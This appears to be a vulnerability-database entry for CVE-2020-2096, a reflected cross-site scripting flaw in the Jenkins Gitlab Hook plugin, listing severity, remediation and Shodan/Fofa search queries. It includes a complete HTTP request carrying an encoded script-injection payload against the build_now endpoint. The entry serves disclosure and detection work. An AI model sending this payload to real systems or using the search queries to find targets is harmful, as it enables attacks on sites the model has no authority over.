| Title | Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting |
|---|---|
| Author | madrobot |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. |
| Remediation | Upgrade to the latest version of Jenkins Gitlab Hook plugin (>=1.4.3) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.93762 |
| CVE ID | CVE-2020-2096 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"GitLab"http.title:"gitlab" |
| Fofa Query | title="gitlab" |
| Tags | cve2020 cve jenkins xss gitlab plugin packetstorm vkev vuln |
Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.
GET /gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-2096.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-2096.pcap
N/AN/A